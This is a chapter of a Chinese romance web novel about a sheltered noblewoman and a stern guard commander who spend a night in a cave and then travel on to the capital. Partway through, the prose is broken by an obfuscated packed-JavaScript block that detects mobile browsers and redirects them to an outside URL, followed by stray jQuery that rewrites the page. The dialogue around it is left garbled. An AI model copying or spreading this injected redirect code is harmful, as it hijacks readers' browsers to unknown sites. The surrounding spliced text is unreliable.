时间一点点过去,云晚坐在一边托着腮数地上的石子,而那位镇抚使大人则是坐在隔她最远的距离,闭目养神,一点也不理会她。
那嫌弃的意味十分明显,云晚不禁思考,她怎么得罪这位大人了。
想来想去,只能是这幅柔弱身子惹的祸,在生死关头太拖后腿了,而作为云家的幸存者,乔恒宣又不得不保护她。
啧啧,怪不得那么不耐烦呢。
此时乔恒宣面上虽是一副放松的样子,整个人却神经紧绷,十分警觉。
外面依旧没有丝毫动静,当时面对那些匪徒的包抄,黑羽卫分开突围,其中一大半匪徒都是冲着他和云家小姐逃走的方向追来的。
而乔恒宣身后的下属掩护他们逃走,大概率把人引到另一边去了。
他略微送了一口气,看来暂时是安全了。
只是现在他还要护着个娇弱的深闺少女,倒是不好去查探。
正想着,乔恒宣突然听到一阵声响,他抬眼看过去。
“我饿了……”
旁边弱弱的声音响起,那位云家小姐似乎有些不好意思,脸上带了一丝红晕,娇艳如花,惹人怜爱。
乔恒宣冷着脸,看了看天色,已经接近黄昏了。
听说这位娇小姐赶路的这几日在马车里吃不下睡不好,每天吃的东西比猫儿还少,怪不得这么快就饿了。
要他出去找吃的?
那不可能。
乔恒宣漠然想着,他只负责这位娇小姐的安危,其他的他才不管,反正饿一两顿又不碍事。
他不予理会,但没想到云晚有些大胆,她走了过来,葱白的手指戳了戳他的手臂,小脸带着好奇。
“乔大人你不饿吗?”
“不饿!”
乔恒宣冷声回答,多一个字都不愿意说。
他身居高位多年,又杀伐决断,身上气势非凡,沉默不语的时候,最亲近的下属大气都不敢出。
果然,旁边再没有了动静。
可不一会儿,似有若无的啜泣声传来,乔恒宣眉头越发紧皱。
云晚捂着有些抽疼的胃,她在云家一直都是娇养着长大的,这段时间生活质量下降不说,现在饿得狠了,胃不太舒服起来。
她眼波一转,并不想委屈自己。
“疼……”
她雾蒙蒙的眼眸看着乔恒宣,鸦羽似的睫毛上挂着泪珠,可怜巴巴的。
乔恒宣冷着脸起身,说了一句“等着”以后就扔了一把随身携带的匕首给她。
他准备在附近找点食物,不走远应该不会有问题。
这娇小姐别说饿几顿,居然饿一点都不行!
真麻烦死了!
见他离开,云晚捡起匕首,这匕首外鞘镶嵌着宝石,刀刃锋利非常,一看就不是一般货色。
高高兴兴的把匕首收了,这样她也有了一点自保能力。
不过云晚这样一副弱不堪怜的模样,就算拿着把匕首人家也不相信她敢伤人。
乔恒宣并没有离开多久就回来了,丢给云晚几个红通通的果子就待在一边。
云晚眼里带了惊喜,小声谢过,又拿出帕子将果子一一擦干净,小口小口吃起来,一举一动尽显大家闺秀的教养。
她吃得有些急了,微微被呛到,柔软的唇瓣被汁水浸润,透着香甜的气息。
乔恒宣多看了一眼便收回视线,外面天已经快黑了,看来今天他要和这位云小姐在山洞呆一晚上了。
好在这山洞不算太大,他仔细检查过一遍,干燥,没有动物粪便,也没看到蛇虫一类,将就一晚也可以。
就是孤男寡女共处一室,恐怕会有损女儿家的清誉。
乔恒宣面无表情,只能走一步看一步了。
“乔大人~”
衣袖被扯了扯,乔恒宣看向云晚,那眼神似乎在问,又怎么了。
两枚红色的果子被塞进他的手中,他怔了怔。
“大人不吃吗?”
云晚疑惑的问道,然后又在他旁边坐下,拿着最后一个果子慢慢啃着,她已经快吃饱了,不似方才那般急切。
乔恒宣本想全部都留给她的,见状也毫不客气,两三下就把果子吃完了。
娇小姐吃得秀气,见他风卷残云一般,不由得呆了呆,嘟囔一声。
“真快。”
乔恒宣挑了挑眉,嗤笑一声。
要是像她一样细嚼慢咽,他在饥荒灾年早就饿死了。
……
清晨,一缕光线才刚刚透过洞口的草丛照进来。
乔恒宣睁开了眼睛,目光如炬,他并没有睡太深。
看着几乎缩进怀里的娇小姐,他眉间皱得能夹死蚊子。
也许是半夜山林里越发冷了,她朝着热源自发的靠过来,此时窝在他怀里睡得香喷喷的。
可怜乔恒宣坐久了,半边身子已经麻了,现在动一下就听到她不高兴的哼哼唧唧的声音。
他调整了一下姿势,心里烦躁,神情冷冰冰。
她倒是睡得好!
云晚醒来的时候,浑身酸痛,果然找了个肉垫子也不好受。
她看到乔恒宣冷漠的侧脸,眼里闪过一丝狡黠,语气却带着惊慌。
“乔大人!”
“醒了?还不赶紧起来!”
不耐烦的声音透着沙哑,云晚连忙起身,红透了的小脸娇媚动人,像只诱人的水蜜桃。
“对不起大人……”
她弱弱道,有些不知所措的样子,看着他越发不善的眼眸,瑟缩了一下。
乔恒宣半晌才从地上起来,他没理她,而是活动了一圈,才说道。
“这件事不许说出去!”
云晚眨眨眼,乖巧点头。
“是,大人!”
等了一夜,乔恒宣基本上已经确定,那些匪徒大概率已经离开这片区域了,既然没得手,他们绝不会一直在这里逗留。
算算时间,他的属下应该也快找过来了,休息了这么久,体力也恢复了,还是得出去看看。
“走吧!”
乔恒宣提着刀,率先走了出去。
他步子迈得又快又大,云晚只能小跑着跟上。
一段时间后,她便吃不消了,脚底传来一阵刺痛,呼吸略微急促。
“不……不行了,乔大人我走不动了!”
云晚断断续续的说道,脚一软,差点摔倒,还好被一只手拉了一下。
乔恒宣面色不愉,习惯了雷厉风行,一下子对这么个废柴的深闺小姐他打不得骂不得,一点办法也没有。
“起来!”
他刚说了一句,便又听到她委屈至极的泣音。
“我脚疼……疼死了……”
乔恒宣额头青筋冒起,他又不能对一个柔弱姑娘要求太高。
云晚本想休息一会儿,见这位镇抚使大人看着自己的眼里明晃晃透着嫌弃,不想吃苦的她有了个好主意。
她难受得蹙眉,娇弱极了,楚楚可怜。
“大人,我真的走不动了……
她迟疑着,“要不您背我走?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407095|167735||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑话!男女授受不亲,现在又不是危急时刻,本大人怎可背你!”
乔恒宣冷哼一声,立马否认了这个提议,可又想起今天她在自己怀里醒来,心里有些异样。
半晌后,树林里。
一个高大的身影背着一个娇小的姑娘,他一边走一边查找树干上是否留下记号,又分了一丝心神在背后。
在他背上,云晚半搂着他的脖子,左看看右看看。
本来树林里的路就不好走,现在倒是舒服多了。
镇抚使大人背宽有力,靠上去倒是很有安全感,云晚略微打了个哈欠,懒懒散散的想着。
突然乔恒宣身体一僵,气不打一出来。
这个拖油瓶竟然在他背上睡着了。
那清清浅浅的呼吸落在他脖颈处,带着幽香,吹得他整个人酥酥麻麻的,耳朵带着痒意。
乔恒宣懊恼不已,之前不该妥协的,背着她要是让找来的属下看到,他该怎么解释。
又走了一段距离,隐隐听到了不远处传来的动静还有手下的声音,乔恒宣把背后熟睡的人叫醒,在她还迷茫之际,把人放在地上,快步离得远远的。
“啊……”
云晚惊呼一声,跌坐在地上的她只能看到镇抚使大人的背影。
“大人!大人在这里!”
“小姐!”
“太好了!小姐你没事!”
搜索的人发现了他们,快速涌了过来,惊喜的声音接连不断。
跟着来的秋月也找到了自家小姐,拉着她喜极而泣。
“我没事……”
云晚被扶起来,轻轻笑了一下,更是惹得小丫鬟哭得泪眼朦胧。
回到马车里,她才知道,那场袭击中,四处散开时秋霜手臂受了伤,秋月倒是没事。
秋霜的伤已经包了药,云晚去看了她,腾了一辆马车出来让她休息。
这次进京比较急,也不能带太多的下人,云府惨遭变故,临走时家里大部分资产都变卖处理了,跟着她的一堆丫鬟婆子都在庄子上,大管事云叔会安排接下来的事情,再上京找她。
所以她身边只带了一些贵重的行李和两个贴身大丫鬟和一些仆人,毕竟这次去了京城之后,她便不会再回去了。
云家人也在京城里,祖父虽然已经不在,可她祖母和两个伯伯还在。
她的父亲是云家的庶子,参加科举得了名次后靠着自身能力一步一步走到现在,还娶了陈家的闺女,本该是前途无量的,只是可惜了遭此横祸。
云晚在平州长大,对于京城的所有人都是小时候见过几面,一切都是陌生的,尤其是她现在是个孤女,也不知会面对怎样的处境。
再次启程之前,乔恒宣派人传了张信来。
上面写着。
“此事已下令不可外传,违令者杀。”
云晚又怏怏的坐在马车里,她明白乔恒宣什么意思,他是说他们共处一夜的事情,已经下令封口了。
而她身边的大丫鬟自然也不会说出去,对自家小姐不利。
除此之外,一直到京城,云晚都没再见过镇抚使大人。
另一边,云家人已经聚在了一起,收到云晚已经进京的书信,便已经派人去接了。
“大姐姐!三叔家的妹妹就快到了,也不知道现在长什么样了?”
“待会就见到了,何必心急呢?”
“哎呀!好奇嘛!她之前婚事定了顾家二公子,可顾家……”
“好了,别说这个了,等下被母亲听见!”
“……”